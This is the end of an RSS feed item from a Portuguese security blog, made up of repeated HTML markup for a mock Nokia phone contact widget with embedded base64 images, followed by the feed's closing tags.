<div style="z-index: 99; height: 143px;"><img id="tdBgBtm938" style="width: 250px; height: 143px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPoAAACPCAYAAADTA8ZPAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjarZGxSsNQFIa/G0XFoVYI4uBwJ1FQbNXBjElbiiBYq0OSrUlDldIk3NyqfQhHtw4u7j6Bk6PgoPgEvoHi1MEhSHASwW/6zs/hcOAHo2LXnYZRhkGsVbvpSNfz5ewTM0wBQCfMUrvVOgCIkzjiJwI+XxEAz5t23WnwN+bDVGlgAmx3oywEUQH6FzrVIMaAGfRTDeIOMNVJuwbiASj1cn8BSkHub0BJuZ4P4gMwe67ngzEHmEHuK4Cpo0sNUEvSkTrrnWpZtSxL2t0kiOTxKNPRIJP7cZioNFEdHXWB/D8AFvPFdtORa1XL2lvnn3E9X+b2foQAxNJjkRWEQ3X+3YWx8/tc3Bgvw+EtTE+KbPcKbjZg4brIVqtQ3oL78RfCs0/+HAmzJwAAAARnQU1BAACxnmFMQfcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOgAAFIIAAEVWAAAOpcAABdv11ofkAAAActJREFUeNrs2MENwjAURME1opy4ryRyN5YghaUfuCQIJBrAzJw4cLK0eh9Ka+2xbVuAMc3znItngPFdk6SU4iVgYIoOhg443QFFBwwdcLoDig4YOuB0B0UHDB1wugOKDig6oOiAoQNOd1B0QNEBRQcUHVB0wNABpzug6KDoig6KDig6oOiAogOKDhg64HQHFB0UHVB0QNEBRQcUHVB0QNEBRQdFBxQdUHRA0QFFBxQdUHRA0UHRFR0UHVB0QNEBRQcUHVB0QNEBRQdFBxQdUHRA0QFFBxQdUHRA0UHRAUUHFB1QdEDRAUUHFB1QdFB0QNEBRQcUHVB0QNEBRQcUHVB0UHRA0QFFBxQdUHRA0QFFBxQdDB1wugOKDig6oOiAogOKDig6KDpg6IDTHVB0QNEBRQcUHVB0wNDB6Q4oOqDogKIDhg443QFFBwwdnO6AogOGDjjdAUUHDB1wugOKDoYOON0BRQcMHTB0wG90QNEBQwec7vBPRb/XWr0EDOjY9v2SZPUcMK7e+3r+Rld1GLTm5+meo+rGDoONvPe+JsefcW9jT611SZJ9370W/Jhpms6Pr5EnSWmtffv+Lcni2eDnfAz89AQAAP//AwD49R9oLjmcRgAAAABJRU5ErkJggg==" alt="" /></div>
</div>
<div style="position: relative; width: 100%; z-index: 101;">
<div style="padding: 5px 10px; min-height: 146px;">
<div><span id="call22348" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #ffffff; text-decoration: none;">call</span><span id="sms097823" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">SMS</span><span id="contact923847" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">contact</span><span id="pref21706" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">preferences</span><img id="close433729" style="padding-left: 5px; cursor: pointer;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAJCAQAAAChr3WYAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGGlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjaY2BgnuDo4uTKJMDAUFBUUuQe5BgZERmlwH6egY2BmYGBgYGBITG5uMAxIMCHgYGBIS8/L5UBFTAyMHy7xsDIwMDAcFnX0cXJlYE0wJpcUFTCwMBwgIGBwSgltTiZgYHhCwMDQ3p5SUEJAwNjDAMDg0hSdkEJAwNjAQMDg0h2SJAzAwNjCwMDE09JakUJAwMDg3N+QWVRZnpGiYKhpaWlgmNKflKqQnBlcUlqbrGCZ15yflFBflFiSWoKAwMD1A4GBgYGXpf8EgX3xMw8BSMDVQYqg4jIKAUICxE+CDEESC4tKoMHJQODAIMCgwGDA0MAQyJDPcMChqMMbxjFGV0YSxlXMN5jEmMKYprAdIFZmDmSeSHzGxZLlg6WW6x6rK2s99gs2aaxfWMPZ9/NocTRxfGFM5HzApcj1xZuTe4FPFI8U3mFeCfxCfNN45fhXyygI7BD0FXwilCq0A/hXhEVkb2i4aJfxCaJG4lfkaiQlJM8JpUvLS19QqZMVl32llyfvIv8H4WtioVKekpvldeqFKiaqP5UO6jepRGqqaT5QeuA9iSdVF0rPUG9V/pHDBYY1hrFGNuayJsym740u2C+02KJ5QSrOutcmzjbQDtXe2sHY0cdJzVnJRcFV3k3BXdlD3VPXS8Tbxsfd99gvwT//ID6wIlBS4N3hVwMfRnOFCEXaRUVEV0RMzN2T9yDBLZE3aSw5IaUNak30zkyLDIzs+ZmX8xlz7PPryjYVPiuWLskq3RV2ZsK/cqSql01jLVedVPrHzbqNdU0n22VaytsP9op3VXUfbpXta+x/+5Em0mzJ/+dGj/t8AyNmf2zvs9JmHt6vvmCpYtEFrcu+bYsc/m9lSGrTq9xWbtvveWGbZtMNm/ZarJt+w6rnft3u+45uy9s/4ODOYd+Hmk/Jn58xUnrU+fOJJ/9dX7SRe1LR68kXv13fc5Nm1t379TfU75/4mHeY7En+59lvhB5efB1/lv5dxc+NH0y/fzq64Lv4T8Ffp360/rP8f9/AA0ADzT6lvFdAAAABGdBTUEAALGeYUxB9wAAACBjSFJNAAB6JQAAgIMAAPn/AACA6AAAUggAARVYAAA6lwAAF2/XWh+QAAAAfUlEQVR42lTFsY1BAQAG4D8iuUZEpVcZwARngKO62hqiUYsFtGIAcjMoLCHRyRUecq8j3xVPgq/5omXtZKVt6ODo20fMVfZKcDGq55pK5/ElZTRtPJ0N1Gu5ZpenItvcou/Xq5VuLL27m8SXPxTG1uBHL2Jg4VM0TM205H8AZRd8O2N8iJYAAAAASUVORK5CYII=" alt="close" /></div>
<table style="background: transparent none repeat scroll 0% 0%; width: 230px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="content345723" style="vertical-align: middle; text-align: center; height: 107px; font-family: arial; color: #ffffff; font-weight: bold; font-size: 18px;">Já</td>
</tr>
</tbody>
</table>
<div style="height: 25px;">
<div id="counter23451" style="overflow: visible; position: relative; color: #ffffff; padding-top: 5px; float: left; height: 10px; width: 85px; font-size: 14px; font-weight: bold;">93</div>
<p><img id="logo09238" style="padding-top: 7px; float: right; height: 11px; width: 69px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEUAAAALCAYAAAAp30A1AAAACXBIWXMAAAsTAAALEwEAmpwYAAABOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjarZGxSsNQFIa/G0XFoVYI4uBwJ1FQbNXBjElbiiBYq0OSrUlDldIk3NyqfQhHtw4u7j6Bk6PgoPgEvoHi1MEhSHASwW/6zs/hcOAHo2LXnYZRhkGsVbvpSNfz5ewTM0wBQCfMUrvVOgCIkzjiJwI+XxEAz5t23WnwN+bDVGlgAmx3oywEUQH6FzrVIMaAGfRTDeIOMNVJuwbiASj1cn8BSkHub0BJuZ4P4gMwe67ngzEHmEHuK4Cpo0sNUEvSkTrrnWpZtSxL2t0kiOTxKNPRIJP7cZioNFEdHXWB/D8AFvPFdtORa1XL2lvnn3E9X+b2foQAxNJjkRWEQ3X+3YWx8/tc3Bgvw+EtTE+KbPcKbjZg4brIVqtQ3oL78RfCs0/+HAmzJwAAAARnQU1BAACxnmFMQfcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOgAAFIIAAEVWAAAOpcAABdv11ofkAAAAmNJREFUeNqcVk1IFFAQ/vYnNTMP268WapiBF712CurQweioIFQHLx1CKJJuptCtNMlT1LFbnaJEPHSpU13SQ4QapltsgQQlbrrV7tdlFodh3r51Bx4z8828n5n3NyB5jWSe5AeS70i+J5kluZ8knNbFHXqk8BMkl1gdzZDMqL5fla3TmTNF8qMZ45jYJhQ2HlgzSA6TzJFclPgeh3xBcqvC4r1Og45PN2ujlPTX1Gfma3D69St7NWvOBObv8fyTAF4jTKsO9k3Jm8IvoTa66GC/lXwQwJaxHwbwTOklJS8H5vkRwBc8MAlgQ+mjZsL2SMCfhLco7CSARIU2pHybnDG3hR8HsO6s12I/I8GfMvoZo1/wkkKlvwIwYHyeAOgNJGXDwVYipyOrZDr2TQBHAHxR2Igk1PP/q+S8Y19U8nUAbwDcUdhLLymaOoQ3GHweQFrkPwovCP+nsFQkKemIfQTAd4NNVvAvBa4eAJw3+gPhtw0+YZPiBVEA0BfYkc+RnS5FgmbEfhdAq8F+yUmJJWXb2OaUfMvY9Gm5qTcrCaA+MNmsXB1N982Cywndu4vHVQfhBdokj3mHwpql39HI2AUlDzvJpmqjgfcRafPY2eCuALis9BvSynTAeVteALhX4eo8V3rR8WkUviYbkDM/32kAbyPXMQFgepc/YTuANgBZSCFTpjHn305Eag2QHKixTul1ao2zZv59Tr+HgTplRrCcweulJqoTuU70Ri+eJIBDKluZwBvQFsnyU/NbVENTgTqh2eh5AHsMdjXw/ebl59Ilwjm5VkX5JArCi/Iw95sxhv4PAB8UPV1hXx8RAAAAAElFTkSuQmCC" alt="Nokia" /></p>
<div style="margin: 0pt; padding: 0pt; line-height: 8px; height: 25px; text-align: center;"><img id="actionBtn23094" style="margin: 0pt; padding: 0pt; position: relative; left: -8px; width: 53px; height: 25px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACEAAAAOCAYAAAChHnWMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOWlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjarZGxSsNQFIa/G0XFoVYI4uBwJ1FQbNXBjElbiiBYq0OSrUlDldIk3NyqfQhHtw4u7j6Bk6PgoPgEvoHi1MEhSHASwW/6zs/hcOAHo2LXnYZRhkGsVbvpSNfz5ewTM0wBQCfMUrvVOgCIkzjiJwI+XxEAz5t23WnwN+bDVGlgAmx3oywEUQH6FzrVIMaAGfRTDeIOMNVJuwbiASj1cn8BSkHub0BJuZ4P4gMwe67ngzEHmEHuK4Cpo0sNUEvSkTrrnWpZtSxL2t0kiOTxKNPRIJP7cZioNFEdHXWB/D8AFvPFdtORa1XL2lvnn3E9X+b2foQAxNJjkRWEQ3X+3YWx8/tc3Bgvw+EtTE+KbPcKbjZg4brIVqtQ3oL78RfCs0/+HAmzJwAAAARnQU1BAACxnmFMQfcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOgAAFIIAAEVWAAAOpcAABdv11ofkAAAAJ1JREFUeNrslSEShSAQQJ8z3MJi9GqQqJsci9xArraRwg0EqwVm/gnwB1/dsG9nw5uO46BxApZxRMCJCOZXIOc8zGCe536wM10gpcRIUkosy2JDCBjAqipvoKqs62oNwH3fvIkBqLV+EgaglPK+xHVd3zv+RiJ6720IYfhyEQGIU2vHCdht24YJ7PsOEEXE9Xa4NhgeMIAHAAD//wMAmkw+XMSJsuoAAAAASUVORK5CYII=" alt="action" /></p>
<div id="actionTxt45234" style="margin: 0pt; padding: 0pt; color: #ffffff; cursor: pointer; position: relative; left: 88px; top: -24px; font-size: 18px; line-height: 20px; height: 25px; width: 53px;">call</div>
</div>
</div>
</div>
</div>
</div>
<div id="contactsPlugin" style="color: #ffffff; font-family: arial; position: absolute; width: 250px; top: -200px; left: -200px;">
<div style="margin: 0pt; padding: 0pt; position: absolute; width: 100%; z-index: 95;">
<div style="height: 16px;"><img id="tdBgTop938" style="width: 250px; height: 16px;" alt="" /></div>
<div id="divBgMid938" style="z-index: 98; height: 1px;"><img id="tdBgMid938" style="width: 250px; height: 140px;" alt="" /></div>
<div style="z-index: 99; height: 143px;"><img id="tdBgBtm938" style="width: 250px; height: 143px;" alt="" /></div>
</div>
<div style="position: relative; width: 100%; z-index: 101;">
<div style="padding: 5px 10px; min-height: 146px;">
<div><span id="call22348" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #ffffff; text-decoration: none;">call</span><span id="sms097823" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">SMS</span><span id="contact923847" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">contact</span><span id="pref21706" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">preferences</span><img id="close433729" style="padding-left: 5px; cursor: pointer;" alt="close" /></div>
<table style="background: transparent none repeat scroll 0% 0%; width: 230px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="content345723" style="vertical-align: middle; text-align: center; height: 107px; font-family: arial; color: #ffffff; font-weight: bold; font-size: 18px;"></td>
</tr>
</tbody>
</table>
<div style="height: 25px;">
<div id="counter23451" style="overflow: visible; position: relative; color: #ffffff; padding-top: 5px; float: left; height: 10px; width: 85px; font-size: 14px; font-weight: bold;">93</div>
<p><img id="logo09238" style="padding-top: 7px; float: right; height: 11px; width: 69px;" alt="Nokia" /></p>
<div style="margin: 0pt; padding: 0pt; line-height: 8px; height: 25px; text-align: center;"><img id="actionBtn23094" style="margin: 0pt; padding: 0pt; position: relative; left: -8px; width: 53px; height: 25px;" alt="action" /></p>
<div id="actionTxt45234" style="margin: 0pt; padding: 0pt; color: #ffffff; cursor: pointer; position: relative; left: 88px; top: -24px; font-size: 18px; line-height: 20px; height: 25px; width: 53px;">call</div>
</div>
</div>
</div>
</div>
</div>
<div id="contactsPlugin" style="color: #ffffff; font-family: arial; position: absolute; width: 250px; top: -200px; left: -200px;">
<div style="margin: 0pt; padding: 0pt; position: absolute; width: 100%; z-index: 95;">
<div style="height: 16px;"><img id="tdBgTop938" style="width: 250px; height: 16px;" alt="" /></div>
<div id="divBgMid938" style="z-index: 98; height: 1px;"><img id="tdBgMid938" style="width: 250px; height: 140px;" alt="" /></div>
<div style="z-index: 99; height: 143px;"><img id="tdBgBtm938" style="width: 250px; height: 143px;" alt="" /></div>
</div>
<div style="position: relative; width: 100%; z-index: 101;">
<div style="padding: 5px 10px; min-height: 146px;">
<div><span id="call22348" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #ffffff; text-decoration: none;">call</span><span id="sms097823" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">SMS</span><span id="contact923847" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">contact</span><span id="pref21706" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">preferences</span><img id="close433729" style="padding-left: 5px; cursor: pointer;" alt="close" /></div>
<table style="background: transparent none repeat scroll 0% 0%; width: 230px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="content345723" style="vertical-align: middle; text-align: center; height: 107px; font-family: arial; color: #ffffff; font-weight: bold; font-size: 18px;"></td>
</tr>
</tbody>
</table>
<div style="height: 25px;">
<div id="counter23451" style="overflow: visible; position: relative; color: #ffffff; padding-top: 5px; float: left; height: 10px; width: 85px; font-size: 14px; font-weight: bold;">93</div>
<p><img id="logo09238" style="padding-top: 7px; float: right; height: 11px; width: 69px;" alt="Nokia" /></p>
<div style="margin: 0pt; padding: 0pt; line-height: 8px; height: 25px; text-align: center;"><img id="actionBtn23094" style="margin: 0pt; padding: 0pt; position: relative; left: -8px; width: 53px; height: 25px;" alt="action" /></p>
<div id="actionTxt45234" style="margin: 0pt; padding: 0pt; color: #ffffff; cursor: pointer; position: relative; left: 88px; top: -24px; font-size: 18px; line-height: 20px; height: 25px; width: 53px;">call</div>
</div>
</div>
</div>
</div>
</div>
<div id="contactsPlugin" style="color: #ffffff; font-family: arial; position: absolute; width: 250px; top: -200px; left: -200px;">
<div style="margin: 0pt; padding: 0pt; position: absolute; width: 100%; z-index: 95;">
<div style="height: 16px;"><img id="tdBgTop938" style="width: 250px; height: 16px;" alt="" /></div>
<div id="divBgMid938" style="z-index: 98; height: 1px;"><img id="tdBgMid938" style="width: 250px; height: 140px;" alt="" /></div>
<div style="z-index: 99; height: 143px;"><img id="tdBgBtm938" style="width: 250px; height: 143px;" alt="" /></div>
</div>
<div style="position: relative; width: 100%; z-index: 101;">
<div style="padding: 5px 10px; min-height: 146px;">
<div><span id="call22348" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #ffffff; text-decoration: none;">call</span><span id="sms097823" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">SMS</span><span id="contact923847" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">contact</span><span id="pref21706" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">preferences</span><img id="close433729" style="padding-left: 5px; cursor: pointer;" alt="close" /></div>
<table style="background: transparent none repeat scroll 0% 0%; width: 230px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="content345723" style="vertical-align: middle; text-align: center; height: 107px; font-family: arial; color: #ffffff; font-weight: bold; font-size: 18px;"></td>
</tr>
</tbody>
</table>
<div style="height: 25px;">
<div id="counter23451" style="overflow: visible; position: relative; color: #ffffff; padding-top: 5px; float: left; height: 10px; width: 85px; font-size: 14px; font-weight: bold;">93</div>
<p><img id="logo09238" style="padding-top: 7px; float: right; height: 11px; width: 69px;" alt="Nokia" /></p>
<div style="margin: 0pt; padding: 0pt; line-height: 8px; height: 25px; text-align: center;"><img id="actionBtn23094" style="margin: 0pt; padding: 0pt; position: relative; left: -8px; width: 53px; height: 25px;" alt="action" /></p>
<div id="actionTxt45234" style="margin: 0pt; padding: 0pt; color: #ffffff; cursor: pointer; position: relative; left: 88px; top: -24px; font-size: 18px; line-height: 20px; height: 25px; width: 53px;">call</div>
</div>
</div>
</div>
</div>
</div>
<div id="contactsPlugin" style="color: #ffffff; font-family: arial; position: absolute; width: 250px; top: -200px; left: -200px;">
<div style="margin: 0pt; padding: 0pt; position: absolute; width: 100%; z-index: 95;">
<div style="height: 16px;"><img id="tdBgTop938" style="width: 250px; height: 16px;" alt="" /></div>
<div id="divBgMid938" style="z-index: 98; height: 1px;"><img id="tdBgMid938" style="width: 250px; height: 140px;" alt="" /></div>
<div style="z-index: 99; height: 143px;"><img id="tdBgBtm938" style="width: 250px; height: 143px;" alt="" /></div>
</div>
<div style="position: relative; width: 100%; z-index: 101;">
<div style="padding: 5px 10px; min-height: 146px;">
<div><span id="call22348" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #ffffff; text-decoration: none;">call</span><span id="sms097823" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">SMS</span><span id="contact923847" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">contact</span><span id="pref21706" style="padding: 0pt 6px; cursor: pointer; font-size: 12px; font-weight: bold; color: #838383; text-decoration: none;">preferences</span><img id="close433729" style="padding-left: 5px; cursor: pointer;" alt="close" /></div>
<table style="background: transparent none repeat scroll 0% 0%; width: 230px;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="content345723" style="vertical-align: middle; text-align: center; height: 107px; font-family: arial; color: #ffffff; font-weight: bold; font-size: 18px;"></td>
</tr>
</tbody>
</table>
<div style="height: 25px;">
<div id="counter23451" style="overflow: visible; position: relative; color: #ffffff; padding-top: 5px; float: left; height: 10px; width: 85px; font-size: 14px; font-weight: bold;">93</div>
<p><img id="logo09238" style="padding-top: 7px; float: right; height: 11px; width: 69px;" alt="Nokia" /></p>
<div style="margin: 0pt; padding: 0pt; line-height: 8px; height: 25px; text-align: center;"><img id="actionBtn23094" style="margin: 0pt; padding: 0pt; position: relative; left: -8px; width: 53px; height: 25px;" alt="action" /></p>
<div id="actionTxt45234" style="margin: 0pt; padding: 0pt; color: #ffffff; cursor: pointer; position: relative; left: 88px; top: -24px; font-size: 18px; line-height: 20px; height: 25px; width: 53px;">call</div>
</div>
</div>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/ikat-2-e-lancado/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 1.156 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-09-03 10:32:46 -->
